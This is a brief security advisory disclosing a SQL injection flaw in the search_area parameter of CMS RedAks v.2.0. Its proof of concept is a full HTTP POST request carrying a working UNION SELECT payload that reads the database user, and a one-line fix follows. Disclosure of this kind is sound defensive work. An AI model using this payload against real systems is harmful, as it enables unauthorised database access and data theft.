More Details ============= We at MajorSecurity have discovered some vulnerabilities in CMS RedAks v.2.0, which can be exploited to conduct sql injection attacks. Input passed directly to the "search_area" POST parameter in "/search/" Controller is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Proof of Concept ============= POST /search/ HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.2 MajorSecurity Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://localhost Cookie: PHPSESSID=e735166dcb9afcbfaf38d2c1fc41c9d8; cnt_monitor=1440x900; Content-Type: multipart/form-data; boundary=---------------------------315562279830303 Content-Length: 365 -----------------------------315562279830303 Content-Disposition: form-data; name="searchExtended" 1 -----------------------------315562279830303 Content-Disposition: form-data; name="search_inall" avxas -----------------------------315562279830303 Content-Disposition: form-data; name="search_area" 1'"%20union%20select%201,user%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20/* -----------------------------315562279830303-- Solution ============= Web applications should never trust on user generated input and therefore sanatize all input.
